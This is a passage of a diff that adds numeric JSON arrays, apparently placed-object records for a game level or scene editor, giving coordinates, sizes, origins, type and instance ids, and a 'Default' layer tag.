+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3216,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3654.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3744.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3218,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3834.610107421875,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.529052734375,
+ 1077.069091796875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3220,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3654.81201171875,
+ 1169.281982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3221,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3744.54150390625,
+ 1169.282470703125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3222,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3833.645263671875,
+ 1169.281982421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3223,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3923.70751953125,
+ 1169.105102539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3224,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4012.811279296875,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3225,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4102.541015625,
+ 1169.105102539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3226,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4191.64453125,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3227,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4282,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3228,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4372,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3229,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3230,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3231,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3232,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3233,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3234,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3235,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3236,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3237,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3238,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3240,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4551,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3241,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4641,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3242,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4731,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3243,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3244,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3245,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3246,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3247,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3248,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550.365234375,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3252,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4819.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 3253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3992.865478515625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3254,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4023.293212890625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4054.179931640625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4084.607421875,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4115.044921875,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4145.47265625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4176.359375,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206.787109375,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4236.92138671875,
+ 1109.6240234375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3262,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4374.9248046875,
+ 1083.00390625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3263,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4011.20703125,
+ 985.577880859375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5632,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4373.9248046875,
+ 892.0778198242188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5633,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 586,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5938,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 507,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5939,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5940,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4822,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5941,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5942,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 194,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5943,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5191,
+ 909,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5944,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5323,
+ 963,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5945,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6682,
+ 1664,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5946,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5960,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5961,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 6001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 6027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 6028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 6029,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 6030,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 6031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 6032,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 6102,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 6109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5524,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 6110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5614,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 6111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5704,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 6112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 6154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5434,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 6155,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 6248,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 6249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 6250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 6262,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4930,
+ 483,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 6263,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5039,
+ 534,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 6264,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ -60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5361,
+ 680,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 6265,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5469,
+ 680,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 6266,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ -60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6267,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6280,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6295,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 428.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6631,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
